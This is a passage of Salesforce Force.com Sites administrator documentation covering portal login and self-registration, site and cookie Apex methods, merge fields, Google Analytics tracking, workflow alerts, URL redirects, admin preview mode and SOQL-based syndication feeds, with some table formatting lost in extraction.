Use login settings if you want to let users register for and log in to your portal from your public Force.com site. For example, users browsing through an ideas site can register and login directly from that site, and as authenticated users, they can then vote, add comments, and participate in the ideas community. When users successfully log in, they leave the public site and enter the associated portal seamlessly. Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration. The Authenticated Website User high-volume portal user license is specifically designed to be used with Force.com sites. Because it's designed for high volumes, it should be a cost-effective option to use with Force.com sites. Force.com sites provides built-in registration and login logic. Default Force.com-branded Visualforce pages are associated with registration, login, forgot password, and password changes. You can modify these pages or replace them with your own. The following login, and registration pages are provided by default: Page Name SiteLogin SiteRegister SiteRegisterConfirm Description Default login page. Used to log users in to the associated portal from your Force.com site. Default registration page. Used to register new users for the associated Customer Portal from your Force.com site. Default registration confirmation page. The page that users see on successful registration to the associated Customer Portal.

Note: The login and registration forms must be secure. Set the forceSSL attribute to true for these forms. However, salesforce.com recommends that you set forceSSL to false for forms accessed by users who have already been authenticated, such as portal users. Since the forceSSL attribute forces a redirect to a secure URL, authenticated users would encounter an error. The built-in login process: Checks to see whether the site is enabled for logins Checks to see whether the user is a valid user for the site Allows users to reset expired passwords

The built-in registration process: Checks new user information against existing users for the Customer Portal associated with the site Checks to see if a contact already exists for the new user Creates a new contact, if one doesn't already exist, and associates it with the account for the site

1516

Force.com Sites

Managing Force.com Site Login and Registration Settings

Important: You must update the SiteRegisterController with the Account ID using the following steps: 1. Click Your Name > Setup > Develop > Apex Classes. 2. Click Edit next to SiteRegisterController. 3. Find the private static Id PORTAL_ACCOUNT_ID = '<Account_ID>'; line and insert the ID for the account that you want to associate with new users. The line should look similar to this:
private static Id PORTAL_ACCOUNT_ID = '001DoooooolQpyk';

4. Click Save. Enables the Customer Portal for the new user and sends an email confirmation message Optionally, allows users to create passwords on the registration page, avoiding the standard email confirmation process Note: You can create and enable a person account as a Customer Portal user using the createPersonAccountPortalUser Apex method. Use createPersonAccountPortalUser to create a person account using either the default record type defined on the guest user's profile or a specified record type, then enable it for the site's portal. Person Accounts can only be enabled as high-volume portal users. For more information, see the Force.com Apex Code Developer's Guide. To enable public login and registration for your portal: 1. 2. 3. 4. 5. Click Your Name > Setup > Develop > Sites. Click the name of the site you want to control. Click Login Settings. Click Edit. From the Enable Login For list, select a portal to associate with your site. The portal you choose must have the Login Enabled option selected. For Customer Portals, you must also select the Self-Registration Enabled option. Force.com Sites leverages the following portal settings:
Logout URL is used if you want to take users to a specific page on logout. If this value is left blank, users are taken to the page specified in the Active Site Home Page field for your site. Lost Password Template is used for the forgot password process. Header, Footer, Logo, and Login Message are used for the look and feel on IdeasHome and AnswersHome pages.

For Customer Portals: New User Template is used on self-registration if a password is not provided. Default New User License, Default New User Role, and Default New User Profile are used for self-registration.

6. Select a Change Password Page. A default page is provided, but you can select your own page instead, using the lookup field. 7. Select the Require Non-Secure Connections (HTTP) checkbox if you want to override your organization's security settings and exclusively use HTTP when logging in to the portal from your site. If this checkbox is not selected, the Require Secure Connections (HTTPS) setting found at Your Name > Setup > Security Controls > Session Settings is used to determine the security level. The following table illustrates the relationship between these settings.

1517

Force.com Sites

Managing Force.com Site Login and Registration Settings

Site-Level Security: Require Non-Secure Connections (HTTP) Not checked

Organization-Level Security: Require Description Secure Connections (HTTPS) Not checked Organization can use either HTTP or HTTPS Site uses HTTP for the post-login session Organization can use either HTTP or HTTPS Site uses HTTP for the post-login session Organization uses only HTTPS Site uses HTTPS for the post-login session Upon login, users see the secure.force.com domain Organization uses only HTTPS Site uses HTTP for the post-login session

Checked

Not checked

Not checked

Checked

Checked

Checked

Caution: If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected, and the Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected, users logging in to the associated portal from the site will see the secure.force.com domain. For example, if you registered mycompany.force.com as your custom domain, the URL changes to https://mycompany.secure.force.com upon login. Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set for the site or Require Secure Connections (HTTPS) has been set for the organization. An example URL using refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com. 8. The Secure Web Address field shows the unique Force.com URL for this site when using SSL. 9. Click Save. You can also enable Sites to use your identity provider for single sign-on.

1518

Force.com Sites

Associating a Portal with Force.com Sites

Note: For ideas and answers, the community associated with the portal must have one or all portals selected in the Portal drop-down list on the community detail page. To find the community detail page, click Your Name > Setup > Customize > Ideas > Communities or Your Name > Setup > Customize > Answers > Communities.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Associating a Portal with Force.com Sites Force.com Sites-Related Apex Methods and Expressions Setting Up Your Customer Portal

Associating a Portal with Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

You can enable users to register for or log into an associated portal seamlessly from your site. Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration. The Authenticated Website User high-volume portal user license is specifically designed to be used with Force.com sites. Because it's designed for high volumes, it should be a cost-effective option to use with Force.com sites. 1. Enable the portal for login using the following steps: a. Click Your Name > Setup > Customize > Customer Portal > Settings, or click Your Name > Setup > Customize > Partners > Settings. b. If you have not enabled your portal, select Enable Customer Portal or Enable Partner Relationship Management and click Save. c. Click Edit for the portal you want to modify. d. Configure the portal as follows: i. Select the Login Enabled checkbox. ii. Select a user for the Administrator field. iii. Optionally, set the Logout URL. If this is not set, users are taken to the site home page on logout. iv. Click Save. 2. If you are using a Customer Portal and want to allow self-registration, follow these steps: a. Click Your Name > Setup > Customize > Customer Portal > Settings. b. Click Edit for the portal you want to associate with your Force.com site.

1519

Force.com Sites

Associating a Portal with Force.com Sites

c. Configure the Customer Portal as follows: i. Select Self-Registration Enabled. ii. Select Customer Portal User for both the Default New User License and Default New User Profile fields. Depending on your portal license, you may want to select a different profile for the Default New User Profile field. iii. Select User for the Default New User Role field. iv. Click Save. Note: Consider the following when allowing self-registration: Sites does not support the use of Person Accounts for self registration. On self-registration through a site: Validation rules are enforced on user creation. Validation rules are ignored on contact creation. 3. Associate the site pages with the default portal users: a. Click Your Name > Setup > Customize > Customer Portal > Settings, or click Your Name > Setup > Customize > Partners > Settings. b. Click the name of the portal that you want to associate with your site. c. Click the name of each profile associated with your portal users and do the following: i. Scroll down to the Enabled Visualforce Page Access section and click Edit. ii. Add the appropriate public site pages to the Enabled Visualforce Pages list. This allows portal users with that profile to view these pages. Note: By default, portal users can see all pages enabled for the associated public site, so you only have to enable the pages that require authentication. iii. Click Save. 4. Associate your site with the login-enabled portal: a. b. c. d. e. f. g. Click Your Name > Setup > Develop > Sites. Click the site label of the site you want to configure. Click Login Settings. Click Edit. From the Enable Login For drop-down list, select the name of the portal where you want to allow login. Select the Change Password Page. Click Save.

For ideas and answers sites, you must make the community visible in the portal and enable the IdeasHome or AnswersHome page for the site. To associate the community with one or more portals: 1. Click Your Name > Setup > Customize > Ideas > Communities or Your Name > Setup > Customize > Answers > Communities.

1520

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

2. Click Edit next to the community you want to make public. 3. From the Portal drop-down list, select the portal to use for this community. You can choose to show the community in all portals. Note: For ideas to work with sites, the organization must have an active portal associated with that community. Otherwise, users will encounter errors.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Managing Force.com Site Login and Registration Settings Setting Up Your Customer Portal

Force.com Sites-Related Apex Methods and Expressions


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Force.com Apex Methods


Force.com provides the following Apex methods for use with the site class and Force.com sites: Name
changePassword

Arguments String newpassword String


verifynewpassword

Return Type System.PageReference

Description Changes the password of the current user.

String opt_oldpassword
createPersonAccount PortalUser

sObject user String ownerId String password

ID

Creates a person account using the default record type defined on the guest user's profile, then enables it for the site's portal. Note: This method is only valid when a site is associated with a Customer Portal, and when the user license for the default new user profile is a high-volume portal user.

1521

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Name
createPersonAccount PortalUser

Arguments sObject user String ownerId String recordTypeId String password

Return Type ID

Description Creates a person account using the specified recordTypeID, then enables it for the site's portal. Note: This method is only valid when a site is associated with a Customer Portal, and when the user license for the default new user profile is a high-volume portal user.

createPortalUser

sObject user String accountId String opt_password Boolean


opt_sendEmailConfirmation

ID

Creates a portal user for the given account and associates it with the site's portal. The optional opt_password argument is the password of the portal user. If not specified, or if set to null or an empty string, this method sends a new password email to the portal user. The optional
opt_sendEmailConfirmation

argument determines whether a new user email is sent to the portal user. Set it to true to send a new user email to the portal user. The default is false, that is, the new user email isn't sent. The nickname field is required for the user sObject when using the createPortalUser method. Note: This method is only valid when a site is associated with a Customer Portal.
forgotPassword

String username

Boolean

Resets the user's password and sends an email to the user with their new password. Returns a value indicating whether the password reset was successful or not. Returns the email address of the site administrator. Returns the user ID of the site administrator. The tracking code associated with your site. This code can be used by

getAdminEmail getAdminId getAnalyticsTrackingCode

String ID String

1522

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Name

Arguments

Return Type

Description services like Google Analytics to track page request data for your site.

getCurrentSiteUrl

String

Returns the value of the site URL for the current request (for example, http://myco.com/ or https://myco.force.com/prefix/). Returns the value of the Custom Web Address field for the current site. Returns the Force.com domain name for your organization. Returns the error description for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns an error message for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns the API name of the current site. Returns the original URL for this page if it is a designated error page for the site; otherwise, returns null. Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, partners is the path prefix. Returns null if the prefix is not defined, or if the page was accessed using a custom Web address. Returns the template name associated with the current site; returns the default template if no template has been designated. Returns true if the current site is associated with an active login-enabled portal; otherwise returns false. For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false.

getCustomWebAddress

String String String

getDomain getErrorDescription

getErrorMessage

String

getName getOriginalUrl

String String

getPrefix

String

getTemplate

System.PageReference

isLoginEnabled

Boolean

isPasswordExpired

Boolean

1523

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Name
isRegistrationEnabled

Arguments

Return Type Boolean

Description Returns true if the current site is associated with an active self-regitration-enabled Customer Portal; otherwise returns false. Allows users to log in to the current site with the given username and password, then takes them to the startUrl If startUrl is not a relative path, it defaults to the site's designated index page. Note: Do not include http:// or https:// in the startURL.

login

String username String password String startUrl

System.PageReference

Force.com provides the following Apex methods for use with the cookie class and Force.com sites: Name
getDomain getMaxAge

Arguments

Return Type String Integer

Description Returns the name of the server making the request. Returns a number representing how long the cookie is valid for, in seconds. If set to < 0, a session cookie is issued. If set to 0, the cookie is deleted. Returns the name of the cookie. Can't be null. Returns the path from which you can retrieve the cookie. If null or blank, the location is set to root, or /. Returns the data captured in the cookie, such as Session ID. Returns true if the cookie can only be accessed through HTTPS, otherwise returns false.

getName

String String

getPath

getValue isSecure

String Boolean

Force.com provides the following Apex methods for use with the urlRewriter instance and Force.com sites: Name
generateUrlFor

Arguments System.PageReference[]

Return Type System.PageReference[]

Description Maps a list of Salesforce URLs to a list of user-friendly URLs. You can use List<PageReference> instead of PageReference[], if you prefer.

1524

Force.com Sites

Force.com Sites-Related Apex Methods and Expressions

Name

Arguments

Return Type

Description Important: The size and order of the input list of Salesforce URLs must exactly correspond to the size and order of the generated list of user-friendly URLs. The generateUrlFor method maps input URLs to output URLs based on the order in the lists.

mapRequestUrl

System.PageReference

System.PageReference

Maps a user-friendly URL to a Salesforce URL.

For more information about the site and cookie classes, as well as the urlRewriter instance, see the Force.com Apex Code Developer's Guide.

Force.com Sites-Related Expressions


Force.com also provides the following expressions to use on Visualforce pages, email templates, and s-controls: Merge Field {!$Site.Name} {!$Site.Domain} {!$Site.CustomWebAddress} {!$Site.OriginalUrl} {!$Site.CurrentSiteUrl} {!$Site.LoginEnabled} {!$Site.RegistrationEnabled} {!$Site.IsPasswordExpired} {!$Site.AdminEmailAddress} {!$Site.Prefix} Description Returns the API name of the current site. Returns the Force.com domain name for your organization. Returns the value of the Custom Web Address field for the current site. Returns the original URL for this page if it is a designated error page for the site; otherwise, returns null. Returns the value of the site URL for the current request (for example, http://myco.com/ or https://myco.force.com/prefix/). Returns true if the current site is associated with an active login-enabled portal; otherwise returns false. Returns true if the current site is associated with an active self-regitration-enabled Customer Portal; otherwise returns false. For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false. Returns the value of the Site Contact field for the current site. Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, partners is the path prefix. Returns null if the prefix is not defined, or if the page was accessed using a custom Web address. Returns the template name associated with the current site; returns the default template if no template has been designated.

{!$Site.Template}

1525

Force.com Sites

Tracking Your Force.com Site with Google Analytics

Merge Field {!$Site.ErrorMessage} {!$Site.ErrorDescription} {!$Site.AnalyticsTrackingCode}

Description Returns an error message for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns the error description for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site.

Note: To use these expressions, the Force.com sites feature must be enabled for your organization. You must also use them within the context of your public site; otherwise, an empty string is returned for all expressions except {!$Site.Template}, which returns the default template for the site.

See Also:
Force.com Sites Overview Setting Up Force.com Sites Configuring Force.com Sites Managing Force.com Site Login and Registration Settings

Tracking Your Force.com Site with Google Analytics


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Force.com sites provides out-of-the-box integration with Google Analytics. Use Google Analytics to track the usage of your sites and site pages, including number of visits, number of page views, average time spent on site, and more. Note: The <site:googleAnalyticsTracking/> component only works on pages used in a Force.com site. Sites must be enabled for your organization and the Analytics Tracking Code field must be populated. To get a tracking code, go to the Google Analytics website. To track a site using Google Analytics: 1. Sign up for an account at Google Analytics. 2. Add a new profile in Google Analytics and enter the domain or full URL for the site you want to track. 3. Copy the Web Property ID from Google's tracking status information and paste it into the Analytics Tracking Code field on the Site Edit page for the site you want to track. The Web property ID starts with the letters UA followed by your account and profile numbers. For example, UA-9049246-2. 4. Click Save.

1526

Force.com Sites

Using Workflow for Force.com Sites

5. To track the Visualforce pages associated with your site, enter the following tag in the site template for those pages, or in the individual pages themselves:
<site:googleAnalyticsTracking/>

Pages that don't contain the tag and aren't associated with a site template that contains the tag won't be tracked. The default site template already contains the tag, so all pages using that template will be trackedincluding certain default pages. Note: Google recommends adding the component at the bottom of the page to avoid increasing page load time.

6. Go to the Google Analytics site and follow their instructions for completing the process. After signing up, it may take up to 24 hours to see initial tracking results in Google Analytics. Tip: To track multiple sites separately, create separate profiles using the full site URLs and enter a different Web property ID in the Analytics Tracking Code field for each site.

See Also:
Force.com Sites Overview Managing Force.com Sites Creating and Editing Force.com Sites Viewing 24-Hour Force.com Sites Usage History Reporting on Force.com Sites

Using Workflow for Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create or change workflow rules: To create and edit Force.com sites: Customize Application Customize Application

With workflow for sites, you can create workflow rules that trigger email alerts when certain site-related criteria are met. For example, create a rule that sends your site administrator an email alert when bandwidth usage reaches 80% of the daily bandwidth limit or when a site's status changes from the active state. Setting up the right site usage workflow rules can help you keep your sites from exceeding rolling 24-hour limits for bandwidth and service request time, and monthly limits for page views and logins. Workflow rules that are created on the Site object are evaluated every hour for all sites within the organization, unless your criteria is limited to certain sites. Workflow rules that are created on the Organization and User License objects are evaluated every three hours.

1527

Force.com Sites

Using Workflow for Force.com Sites

Only email alert actions are supported for site usage workflow rules. Other workflow actions, such as field updates, tasks, and outbound messages, are not available. To create a site usage workflow rule, click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules, then use the workflow rule wizard with the following settings: Select Object When selecting an object, choose one of the following:
Organization (for monthly page views allowed and monthly page views used fields) Site (for site detail, daily bandwidth and request time, monthly page views allowed, and other fields) User License (for the monthly logins allowed and monthly logins used fields)

The Organization and Site objects are only available if Force.com sites is enabled for your organization. The User License object isn't dependent on sites, and is only available if you have Customer Portals or partner portals enabled for your organization. Rule Criteria Enter your rule criteria by doing one of the following: Choose criteria are met and select the filter criteria that a site must meet to trigger the rule. For example, to trigger the rule every time the active status changes for a site within your organization, set the filter to Site Status not equal to Active. To add more rows or to set up Boolean conditions, click Add Filter Logic. Choose formula evaluates to true and enter a formula. The rule is triggered if the formula returns True. For example, the following formula triggers the rule when bandwidth usage reaches 80% of the daily bandwidth limit:
DailyBandwidthUsed >= 0.8 * DailyBandwidthLimit

In the next example, the formula triggers the rule when time usage reaches 80% of the daily time limit:
DailyRequestTimeUsed >= 0.8* DailyRequestTimeLimit

Workflow actions When adding workflow actions, click Add Workflow Action and choose New Email Alert or Select Existing Action. Tip: To create custom email templates using Site merge fields, click Your Name > Setup > Communication Templates > Email Templates, then New Template. When configuring the template, use Site merge fields by selecting Site Fields in the Select Field Type drop-down list of the Available Merge Fields section.

See Also:
Force.com Sites Overview

Force.com Sites URL Redirects

1528

Force.com Sites

Force.com Sites URL Redirects

Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit site URL redirects: To view site URL redirects: Customize Application View Setup

If you move or reorganize pages on your Force.com site, search engines may have trouble finding the new page locations. To avoid this, set up site URL redirects to inform users and search engines that site content has moved. Consider the following while implementing site URL redirects: You can't redirect error pages or CSS files (files with a .css extension). Each site can have a maximum of 1,000 redirect rules. Query parameters in site URL redirects are matched exactly. However, you can't redirect any URLs that include the lastMod parameter. If you have URL rewriting enabled on your site, it runs after any site page redirects. For more information about the Site.UrlRewriter Apex interface, see the Force.com Apex Code Developer's Guide.

To assign a redirect to a site page: 1. 2. 3. 4. Click Your Name > Setup > Develop > Sites. Click a site label. Click URL Redirects on the site detail page. Specify the former page location in the Source URL field. The page location must: Be a relative URL. It can have any valid extension type, such as .html or .php. Not contain anchors, such as /siteprefix/page.html#target. Note: Organizations that use sites with prefixes must manually add the prefix to the Source URL and Target URL fields. Also, if your organization has a root level site and one with a prefix, and you want to redirect a page in your prefixed site but don't include the prefix in the redirect rule, Salesforce will default to looking for the rule in your root site instead, resulting in a 404 error. 5. Specify the Redirect Type: Permanent (301)Select this option if you want users and search engines to update the URL in their systems when visiting the page. Users visiting a page redirected with this type are sent seamlessly to the new page. Using a permanent redirect ensures that your URLs retain their search engine popularity ratings, and that search engines index the new page and remove the obsolete source URL from their indexes. Temporary (302)Select this option if you want users and search engines to keep using the original URL for the page. Search engines interpret a 302 redirect as one that could change again at any time, and though they index and serve up the content on the new target page, they also keep the source URL in their indexes.

6. Specify the new page location in the Target URL field. This can be a relative URL or a fully-qualified URL with an http:// or https:// prefix. Unlike source URLs, target URLs can contain anchors. 7. Click Save.

1529

Force.com Sites

Troubleshooting Force.com Sites Using Administrator Preview Mode

The Redirect Rules section displays all URL redirect rules you've created for your site. In this section you can: Edit an assigned redirect rule. Activate or deactivate a redirect rule. Delete a redirect rule. Click the Source URL or Target URL column heading to sort the list in ascending or descending order.

See Also:
Force.com Sites Overview Creating and Editing Force.com Sites

Troubleshooting Force.com Sites Using Administrator Preview Mode


Available in: Developer, Enterprise and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

If you see errors on site pages and can't figure out the cause, use administrator preview mode to look at them in context and in greater detail. Note: Administrator preview mode is available for all active sites, including those with a branded custom Web address.

To access administrator preview mode: 1. Click Your Name > Setup > Develop > Sites. 2. Click the name of the site you want to preview. 3. In the Site Detail section, click the Preview as Admin link. A new browser window opens with a preview of your site, and the enhanced error message appears at the bottom of the page. 4. Click Logout of Administrator Preview Mode to clear the administrator cookie and be redirected to the site's home page. The detailed error messages in administrator preview mode are driven by the <site:previewAsAdmin /> component in your Visualforce error pages. Starting with Summer '10, new organizations include the <site:previewAsAdmin /> component by default in standard error pages. You must add the component manually to all custom error pages and pages from older organizations. We recommend that you add it right before the closing </apex:page> tag, like this:
<site:previewAsAdmin /> </apex:page>

1530

Force.com Sites

About Syndication Feeds

Note: The <site:previewAsAdmin /> component contains the <apex:messages /> tag, so if you have that tag elsewhere on your error pages, you will see the detailed error message twice.

See Also:
Force.com Sites Overview Creating and Editing Force.com Sites Assigning Force.com Site Error Pages

About Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete a feed definition: Subscribe to a feed Modify All Data No special user permission required

Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.

Validating Feeds Security


When a user subscribes to a feed, the information is run in a guest user context. This means that you must ensure the guest user has access to all and only the records appropriate for a guest use before defining any queries. To validate feeds security: Edit the public access setting for the site to make sure the guest user has the correct object permissions and field-level security settings. Create sharing rules to control which records the guest user has access to.

After adjusting public access and field-level security settings to ensure the objects you wish to include in a feed are available to the guest user, perform any of the following feeds-related tasks: To create a new feed, click New. To view the definition of an existing feed, click the feed name. To edit an existing feed, click Edit. To delete an existing feed, click Delete.

1531

Force.com Sites

Defining Syndication Feeds

To test the validity of a feed, click Run Test. If any errors exist in the query definition or mapping, error messages are displayed.

See Also:
Defining Syndication Feeds Testing Syndication Feeds Public Access Settings for Force.com Sites Setting Your Organization-Wide Sharing Defaults

Defining Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete a feed definition: Subscribe to a feed Modify All Data No special user permission required

Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page. Define a syndication feed, including what records are returned, and which data from the records is displayed: Name A descriptive name for this feed, which distinguishes it from other feeds you may create. Use only letters, numbers, or the underscore character _. Do not use more than one underscore character in a row. Description Describe the feed. For example, Account first name, last name, and region for the last ten accounts created or edited. Query The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some limitations on the SOQL query are imposed: If the SOQL query does not specify a limit, then no more than 20 records are returned. Query limits can't exceed 200 results. If you make a query with a limit beyond this number, only the first 200 records are returned. If the SOQL query does not have an ORDER BY value specified, records are ordered by the LastModifiedDate value if there is one, or by SystemModstamp value if not COUNT is not supported.

1532

Force.com Sites

Defining Syndication Feeds

Aggregate queries are not supported. For example, this query cannot be used in a syndication feeds SOQL query:
SELECT Name, (SELECT CreatedBy.Name FROM Notes) FROM Account

For more information about aggregate relationship queries, see the aggregate query examples in Web Services API Developer's Guide. You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind Variables for Queries and Mapping on page 1535. Note: The guest user must have appropriate sharing and field-level security access or you cannot save your query, because the Force.com platform verifies access and sharing before saving.

Mapping Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more information about mapping elements, see ATOM-Object Mapping on page 1533. You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind Variables for Queries and Mapping on page 1535. Max Cache Age Seconds Because many users may access a feed at the same time, Salesforce caches the feed data, for 3600 seconds by default. You can modify this to a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user opens a page containing a feed that they have subscribed to. Active Select this checkbox to make the feed available for subscription. Once a feed is active, users have the option of subscribing to it.

ATOM-Object Mapping
You must specify a mapping in the syndication feed definition. The mapping relates ATOM constructs such as entry title to the corresponding value in a record, for example, Account Name. A full set of mappings represents a news feed, and the query represents the content of each news item in a feed. For example, Lead records created today or Contacts with updated Account information. A feed element is the envelope for each part of a news item, and an entry element is the contents of the envelope. Mapping also allows you to apply short labels to various fields for display purposes. The following table lists each ATOM and object element and explains what values should be provided: Feed Element
fa

Entry Element Description Required only if ea (entry author) is not specified. Feed author. For example, fa:"Acme Feed Author Admin Mary" shows the feed author as Admin Mary. Optional (because default value is supplied). Id of the feed. By default, this value is the public site URL. If you specify a value, it must be a valid internationalized resource identifier (IRI). An IRI is a URL generalized to allow the use of Unicode.

fid

1533

Force.com Sites

Defining Syndication Feeds

Feed Element
fl

Entry Element Description Optional (because default value is supplied). Feed link. For example, fl:"http://www.salesforce.com". News readers usually interpret this element by linking the feed title to this URL. Optional. Feed subtitle. For example, &map=ft:"Newest Opportunities",fst:"Western Division" shows the feed title Newest Opportunities and subtitle Western Division. Required. Feed title. For example, ft:"Newest Opportunities".
ea

fst

ft

Required only if fa (feed author) is not specified. Entry author. For example, ea:"Account created by: " + Account.CreatedBy . Required. Entry content. For example,ec:"description for " Name "<br>" Description shows the value of the Name field with additional text. The output of a feed for this example resembles the following:
description for Ajax Industries Description

ec

ect

Optional. Entry content of type text, html, or xhtml. For example, ect: html for HTML content. Default is text. Optional. Entry link. Must be a valid URI. This value is usually a link to another representation of the content for the entry. For example, the link could be to a record in the Salesforce user interface. News readers usually interpret this element by linking the entry title to this URL For example, el:"Account.URl". Optional. Entry summary. An optional summary of the entry content. For example, et:
Account.Name, es: Account.Name + "s account number, website, and description", ec: Account.Number + " " + Account.Website + + Account.Description

el

es

If not specified, news readers display the content defined using the ec element.
est

Optional. Entry summary of type text, html, or xhtml. For example, est: html for HTML content. Default is text. Do not specify a value unless es has been specified. Required. Entry title, a field name. For example, et:Name. Optional. By default, the required ATOM element <updated> value is automatically provided by the LastModifedDate of the main entity being queried; usually the object in the main FROM clause of the SOQL query. This value indicates the last time an entry or feed was modified. If you wish to change this default behavior, you can specify a different object or field's LastModifedDate be used. For example: Query: SELECT Id, Name, MyDate__c FROM AccountMapping Parameter:
eu: MyDate__c Query: SELECT Id, Lastname, Account.LastMOdifiedDate FROM ContactMapping Parameter: eu: Account.LastModifiedDate

et eu

The following example shows a valid mapping values for a syndication feed:
ft: "Harry Potter", et: Name, ec: "description for " Name "<br>" Description, el: "/" Id, ect: html

1534

Force.com Sites

Defining Syndication Feeds

Feeds are displayed in the guest user context of the public site where they are displayed. Therefore, if you have used custom labels to manage internationalization, and specified labels in your mapping, users see those labels displayed in the language of the guest user. For more information, see Custom Labels and Feeds on page 1535. You can only use string literals in feed mapping. You cannot use, for example, date literals such as TODAY or LAST_WEEK. After you have defined a feed, you should test it, and then make the feed active by selecting the Active checkbox as described above. For more information about testing, see Testing Syndication Feeds on page 1536.

Using Bind Variables for Queries and Mapping


You can use bind variables in the WHERE clause of the SOQL query. Bind variables must be in the following form:
{!var_name}

The following query uses a bind variable named accountID.


SELECT Name, Description FROM Account WHERE Id = {!accountID}

Note that this is not the literal name of the field, but an arbitrary name. At run time, the value for accountID is passed to the query from the URL. This feed is accessed from the following URL and passes in the account ID as part of the query string parameter:
site_URL/services/xml/My'Account'Feed?accountId=0013000000BmP4x

You can also use bind variables for mapping values. The following implementation details apply to the use of bind variables for queries: You cannot use more than 20 bind variables in a feed definition, queries and mapping combined. The bind variable name cannot be more than 100 characters. You can use a bind variable only on the right side of a filter operation to represent part of a string. Because it represents part of a string, it must be in quotes. For example, the following is a valid query:
SELECT Id, Name FROM Account WHERE Name = '{!myBindVariable}'

The following queries are not valid, because the bind variable is not in a valid position, and is not functioning as the variable for a literal string:
SELECT Id, Name FROM Account WHERE {!myFieldName} = 'Joe' SELECT Id, {!myFieldName} FROM Account WHERE IsDeleted = false

You cannot use a bind variable to represent a field name. This means a bind variable cannot be use on the left side of a filter operation. You cannot use a bind variable to change the meaning or structure of a query for security reasons. Any special characters you specify in the bind replacement value are interpreted as literal characters when the query is evaluated.

Custom Labels and Feeds


For feeds that need to be localized into different languages, you can use custom labels to define the string in multiple languages. Then in the mapping definition, you simply refer to the custom label. When a request come in, the custom label inspects the guest user language and return the translated text, which is used in the mapping.

1535

Force.com Sites

Defining Syndication Feeds

Custom labels can be specified in a field with the following syntax:


map_element_name: "{!$LABEL.custom_label_name}"

Use the following procedure to specify a custom label in a feed: 1. Create a custom label using the information in Creating and Editing Custom Labels on page 1600. You may wish to name the custom label after the mapping element that takes its value, for example feedTitle for the ft element. 2. Enter the values for all supported languages. 3. Specify the custom label in the feed mapping. For example, assume that you create a feed containing information on all the houses your company is trying to sell. For English users, the title of the feed should be The Houses, but for Spanish users, the title of the feed should be Las Casas. You would create a custom label, for example, feedTitle. In English, its value is The Houses, and the Spanish value is Las Casas. Then, in the feed mapping definition, specify the following for the feed title fc::
ft: "{!$LABEL.feedTitle}"

Visualforce and Feeds


To add a feed to a Visualforce page, use the Visualforce standard HTML features. For example, assuming the Visualforce page is located in the base directory of the site, it can contain a tag like the following:
<A HREF=""/services/xml/theFeedName">My feed</A>

The text My feed links to the feed. If you want to link the feed from an image, include an inline image tag similar to the following:
<A HREF="/services/xml/theFeedName"><img src="feed.gif"></A>

You must upload your own image. To add the icon to the address bar, add the link tag to the <head> tag of the Visualforce page:
<link href='URI of feed' type='application/x.atom+xml' rel='feed' title='A nice descriptive title'/>

For more information about Visualforce, see the Visualforce Developer's Guide.

See Also:
About Syndication Feeds Testing Syndication Feeds

Testing Syndication Feeds

1536

Force.com Sites

Testing Syndication Feeds

Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete a feed definition: Subscribe to a feed Modify All Data No special user permission required

